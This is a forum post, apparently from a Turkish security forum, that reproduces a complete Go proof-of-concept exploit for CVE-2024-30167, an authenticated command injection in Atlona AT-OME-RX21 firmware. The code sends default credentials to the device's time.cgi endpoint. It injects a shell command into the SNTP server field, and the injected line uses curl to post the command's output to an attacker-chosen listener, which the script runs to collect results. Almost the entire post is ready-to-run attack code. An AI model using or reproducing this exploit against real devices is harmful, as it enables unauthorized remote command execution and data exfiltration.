Hoşgeldin Misafir

Atlona ATOMERX21 - Authenticated Command Injection

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
// Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection
// Google Dork: N/A
// Date: 2025-12-28
// Exploit Author: RIZZZIOM
// Vendor Homepage: https://atlona.com
// Software Link: https://atlona.com/product/at-ome-rx21/
// Version: Firmware <= 1.5.1
// Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1)
// CVE : CVE-2024-30167
// Usage: go run main.go -t <target_uri> -u <username> -p <password> -l <lhost> -P <lport> -c <command>
package main

import (
    "bytes"
    "context"
    "encoding/base64"
    "flag"
    "fmt"
    "io"
    "net/http"
    "os"
    "os/signal"
    "strings"
    "syscall"
    "time"
)

func main() {
    banner := `
                                                                                          
                                                                                  
▄█████ ██  ██ ██████    ████▄  ▄██▄ ████▄ ██  ██    ████▄  ▄██▄ ▄██ ▄██▀▀▀ ██████
██     ██▄▄██ ██▄▄   ▄▄▄ ▄██▀ ██  ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██  ██ ██ ██▄▄▄    ▄██▀
▀█████  ▀██▀  ██▄▄▄▄    ███▄▄  ▀██▀ ███▄▄     ██    ▄▄▄█▀  ▀██▀  ██ ▀█▄▄█▀  ██▀   
                    
            PoC by: github.com/RIZZZIOM
    `
    fmt.Println(banner)

    target := flag.String("t", "", "Target URL (e.g: http://example.com)")
    username := flag.String("u", "admin", "Username for authentication")
    password := flag.String("p", "Atlona", "Password for authentication")
    lport := flag.String("P", "4444", "listening port for command output")
    lhost := flag.String("l", "", "listening host for command output")
    command := flag.String("c", "", "Command to execute on the target")

    flag.Parse()
    if *target == "" || *lhost == "" || *command == "" {
        fmt.Println("ERROR: Missing required parameters")
        flag.PrintDefaults()
        os.Exit(1)
    }

    url := strings.TrimRight(*target, "/") + "/cgi-bin/time.cgi"
    listener := *lhost + ":" + *lport

    // Buffered channel to prevent goroutine blocking if receiver exits early
    responseChan := make(chan struct{}, 1)

    // Create context for graceful shutdown coordination
    ctx, cancel := context.WithCancel(context.Background())
    defer cancel()

    // Start HTTP server and get reference for shutdown
    server := httpServe(listener, responseChan, ctx)

    executeCommand(url, *username, *password, listener, *command)

    sigChan := make(chan os.Signal, 1)
    signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

    // Timeout to prevent indefinite waiting
    responseTimeout := time.NewTimer(30 * time.Second)
    defer responseTimeout.Stop()

    select {
    case <-responseChan:
        time.Sleep(1 * time.Second)
    case <-sigChan:
        fmt.Printf("\n===Shutting Down===\n")
    case <-responseTimeout.C:
        fmt.Println("\n===Response Timeout - No response received===")
    }

    // Graceful server shutdown
    cancel() // Signal context cancellation
    shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer shutdownCancel()

    if err := server.Shutdown(shutdownCtx); err != nil {
        fmt.Printf("Server shutdown error: %v\n", err)
    }
}

func executeCommand(url, username, password, listener, command string) {
    // this func sends the commands to the target
    payload := fmt.Sprintf(`{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}`, command, listener)
    auth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password))
    req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(payload)))
    if err != nil {
        panic(err)
    }
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Firefox/143.0")
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("Authorization", "Basic "+auth)
    req.Header.Set("X-Requested-With", "XMLHttpRequest")

    client := &http.Client{
        Timeout: 15 * time.Second,
    }

    resp, err := client.Do(req)
    if err != nil {
        fmt.Printf("ERROR: Request failed: %v\n", err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    switch resp.StatusCode {
    case 200:
        fmt.Println("Command Injection Successful")
    case 401, 403:
        fmt.Printf("ERROR: Authentication Failed (HTTP %d)\n", resp.StatusCode)
    case 404:
        fmt.Printf("ERROR: Target Endpoint Not Found.\n")
    default:
        fmt.Printf("ERROR: Unexpected Response (HTTP %d)\n", resp.StatusCode)
        body, _ := io.ReadAll(resp.Body)
        if len(body) > 0 {
            fmt.Printf("Response Body: %s\n", string(body))
        }
        os.Exit(1)
    }
}

func getResponse(r *http.Request, responseChan chan struct{}) {
    // this function serves and http server and collects response
    if r.Method != http.MethodPost {
        fmt.Printf("Received non-POST Request(%s)\n", r.Method)
        return
    }
    defer r.Body.Close()
    fmt.Println("\n=====Received Response=====")

    body, err := io.ReadAll(r.Body)
    if err != nil {
        fmt.Printf("Failed To Read Response Body: %v\n", err)
        return
    }
    fmt.Println(string(body))

    // Non-blocking send to prevent goroutine deadlock
    select {
    case responseChan <- struct{}{}:
    default:
    }
}

func httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server {
    // this function gets the command injection response from the custom header
    mux := http.NewServeMux()
    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        getResponse(r, responseChan)
        w.WriteHeader(http.StatusNoContent)
    })

    server := &http.Server{
        Addr:           listener,
        Handler:        mux,
        MaxHeaderBytes: 20 * 1024 * 1024,
        ReadTimeout:    30 * time.Second,
        WriteTimeout:   30 * time.Second,
        IdleTimeout:    60 * time.Second,
    }

    fmt.Printf("Listening on %s for response...\n", listener)

    go func() {
        if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
            fmt.Printf("ERROR: Server error: %v\n", err)
        }
    }()

    return server
}